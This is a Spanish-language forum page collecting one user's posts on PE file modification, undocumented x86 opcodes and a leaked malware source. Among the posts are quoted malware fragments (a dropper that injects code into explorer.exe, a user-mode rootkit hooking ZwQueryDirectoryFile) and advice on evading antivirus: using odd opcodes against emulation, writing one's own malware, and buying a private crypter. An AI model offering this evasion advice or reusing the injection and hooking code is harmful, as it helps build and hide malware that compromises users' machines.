Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - x64core

#561
Lo que deberias hacer es, aprender a agregar una nueva sección a una imagen, sea como sea de la forma en la que se
explica en el manual, lo mejor y simple es como dije antes agregar la sección y cambiar en punto de entrada, mas cosas
podrian ser hechas despues.

Bajate la documentacion oficial acerca del formato actualizada http://msdn.microsoft.com/en-us/library/windows/hardware/gg463119.aspx

al menos lee la parte de las cabeceras del PE, el contenido de las secciones para esto no es necesario.
#562
ASM / Opcodes,informacion Indocumentada
16 Julio 2013, 12:25 PM
Solamente algunos opcodes indocumentados

[AAM]       
[AAD]
[SALC]       
[ICEBP]     
[UMOV]       
[LOADALL]
[CMOV]       
[FCMOV]     
[FCOMI]     
[RDPMC]
[INT01]     
[SALC]       
[UD2]


Undocumented OpCodes: AAD

----------------------------------------------------------------------------

AAD - D5 IMM8 - ASCII Adjust before Division


Undocumented:  Available to all Intel x86 processors
               Useful in production source code.
                                                              AAD
Flags:                               ASCII Adjust before Division
+-+-+-+-+-+-+-+-+-+                       +----------+----------+
|O|D|I|T|S|Z|A|P|C|                       | 11010101 |   DATA   |
+-+-+-+-+-+-+-+-+-+                       +----------+----------+
|+| | | |+|+|+|+|+|                       |    D5    |     IMM8 |
+-+-+-+-+-+-+-+-+-+                       +----------+----------+


This instruction is the multiplication counterpart to AAM. As is the
case with AAM, AAD uses the second byte as an operand. This operand is
the multiplicand for AAD. Like AAM, AAD provides a way to execute a MUL
IMM8 that is unavailable through any other means in the CPU. Unlike MUL,
or IMUL, AAD sets all of the CPU status flags according to the result.
Intel states that the Overflow Flag (OF), Auxiliary carry Flag (AF), and
Carry Flag (CF) are undefined. This assertion is incorrect. These flags
are fully defined, and are set consistently with respect to any other
integer operations. And again, like AMM, beginning with the Pentium,
Intel has finally acknowledged the existence of the second byte of this
instruction as its operand. Intel says:

"Note: imm8 has the value of the instruction's second byte. The second
byte under normally assembly [sic] of this instruction will be 0A,
however, explicit modification of this byte will result in the operation
described above and may alter results."

This instruction exists in this form on all Intel x86 processors. See
the file AAD.ASM for diagnostics source code for this instruction.

----------------------------------------------------------------------------



completo aqui http://www.rcollins.org/secrets/ (ademas contiene informacion importante no documentada por intel)


Opcodes funcionan para evadir emulacion de algunos AVs mier***  :silbar: , ademas podemos usar algunos de los nuevos conjunto de
instrucciones SSE 3, SSE 4 para ello tambien, pueda que quieran usar cpuid para obtener los conjuntos de instrucciones
soportados por la cpu.

Agregado a enlaces utiles.



#563
Creo que hay que destacar las palabras de shaddy:

Todo el mundo copia snippets de código de los demás. Y muy pocos hacen cosas realmente innovadoras,
así que tratándose además de alguien que gana dinero a través de ello, no creo que eso sea realmente el problema.


[sarcasm]Por favor que alguíen lo lleve a la NASA, ellos realmente necesitan gente con esa intelectualidad.[/sarcasm]
#564
Solo para demostrar algunos errores:


Libreria para llamar funciones del NTDLL de 64-bits desde proceso de 32-bits:

__declspec() unsigned __int64 X64Call( void * lvpFunctionPtr, int nArgc, ... )
{
va_list args;
   DWORD64 arg1, arg2, arg3, arg4, _nArgc, _lvpFunctionPtr, rest;
DWORD dwEspBackup;
union reg64 sRax;

va_start( args, nArgc );
   arg1 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg2 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg3 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg4 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;

....

push arg1
X64_Pop(_RCX);
push arg2
X64_Pop(_RDX);
push arg3
X64_Pop(_R8);
push arg4
X64_Pop(_R9);



Si todo eso estuviera bien escrito ahora llamemos a una funcion que tome un puntero de 64-bits en algun registro de
la convención de llamadas en x64, y antes del call analizemos los registros. Sabiendo que solo podemos redireccionar
hasta 0xFFFFFFFF pero por obvias razones en Ntoskrnl se tomara los 64-bits enteros de los registros. Decirme
si funciona, no no lo hace.
No yo no estoy tomando de menos la libreria de la persona porque sabemos que más bien se hizo como POC.
y ahora la gente hace un solo copy-paste y le llaman codigo "profesional".

Dropper:


HMODULE GetKernel32(void)
{    
PPEB Peb = NULL;

   __asm
{
mov eax, FS:[0x30]
mov [Peb], eax
}

  ...
 
HMODULE GetDllBase( DWORD dwDllHash )
{    
PPEB Peb = NULL;

   __asm
{
mov eax, FS:[0x30]
mov [Peb], eax
}

PPEB GetPeb()
{
__asm mov eax,FS:[0x30]
};



Además mirar las implementaciónes de memcpy,memset y toda función dentro del grupo de las instrictic que han sido implementadas.

# Codígo no es portable
# Lejos de ayudar a la optimización del codígo


[sarcasm] Injeción bastante sofisticada en el dropper [/sarcasm]:


bool InjectIntoExplorer( DWORD (WINAPI f_Main)(LPVOID) )
{
DWORD dwPid = GetExplorerPid();

if ( dwPid == 0 )
{
return false;
}

OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;

ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread  = 0;

HANDLE hProcess;

if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) != STATUS_SUCCESS )
{
return false;
}

DWORD dwAddr = InjectCode( hProcess, f_Main );

bool ret = false;

if ( dwAddr != -1 )
{
if ( pCreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, NULL, 0, 0 ) != NULL )
{
ret = true;
}
}

pZwClose( hProcess );

return ret;
}


Un Rootkit de modo usuario bastante lamer, nisiquiera usan un desensamblador:


ZwQueryDirectoryFileReal =  (PZwQueryDirectoryFile)lpMem;

m_memcpy( lpMem, lpPtr, 15 );

lpPtr = (LPVOID)((DWORD)lpPtr + 5 );

if ( *(BYTE*)lpPtr == 0xBA ) // win xp and up   // <======== WTF?
{
lpPtr = (LPVOID)((DWORD)lpPtr + 1 );
m_memcpy( lpPtr, &dwAddr, 4 );
}
else
{
if ( *(BYTE*)lpPtr == 0x8D ) //win2000  // <======== WTF?
{
*(BYTE*)lpPtr = 0x68;
dwAddr  = (DWORD)&ZwQueryDirectoryFileHook;
lpPtr  = (LPVOID)((DWORD)lpPtr + 1 );

m_memcpy( lpPtr, &dwAddr, 4 );

lpPtr  = (LPVOID)((DWORD)lpPtr + 6 );

*(BYTE*)lpPtr = 0x00;
}
else
{
MemFree( lpMem );
}
}



Mi pregunta es, realmente creen que esto es un codigo profesional?
Y muchos más codigos con fallas que no quiero que más script-kiddies vengan y reparen los codigos.

Además, como yo dije hay cosas interesantes en el paquete... exploits son siempre bienvenidos aunque no sean 0-day :)
Y respecto a la publicidad que le hacen, cualquier nuevo malware creado por un scriptkiddie que aparece en
la red luego a los meses compañias de antivirus diciendo que es nuevo y complejo/avanzado malware.
Bueno eso es normal, compañias de antivirus necesitan hacer publicidad para sus productos.

Y yo realmente pensé que Panda contrataba a gente mejor capacitada, no otro scriptkiddie que solo sabe
escarvar en malware y encuentra este src y propablemente ya esta agregandole más basura, bueno solamente estoy diciendo Shaddy :)



#565
Programación C/C++ / Re: Luxur 0.0.7 Source
30 Junio 2013, 07:10 AM
De nada
#566
Lo he agregado.
Además si alguien tiene algun libro, enlace o algo de información util para agregar a la lista postearla voy a actualizar la lista
#567
Cita de: Shaddy en 29 Junio 2013, 16:10 PM
No creo que eso sea algo reprochable. Todo el mundo copia snippets de código de los demás. Y muy pocos hacen cosas realmente innovadoras, así que tratándose además de alguien que gana dinero a través de ello, no creo que eso sea realmente el problema.

Un saludo.

Copiar snippets publicos esta bien para proyectos "dummy". Aquí no hablo nada de innovación no sé ni siquiera porque
lo mencionas, aquí el hecho es, copiar codigos publicos sin nisiquiera saber si tiene posibles fallas y además usarlos
en semenjante proyecto como es este o al menos aparta ser. Bueno propablemente tú lo haces también.

Yo te pregunto,
¿Has visto el codigo?
¿Has podido identificar el monton de codigo copiado?
¿Has podido identificar al menos algunos errores en los codigos copy-paste?



#569
Para mi "Hexear" un Malware para removerle firma de antivirus es perdida de tiempo
Mejor codificate uno mismo y así podes modificarle todo lo que quieras.
#570
Sí, un crypter seria la solución y deberia saltarse todas la protecciónes de los antivirus.
Lo mejor es que compres alguno, los publicos son detectados facilmente.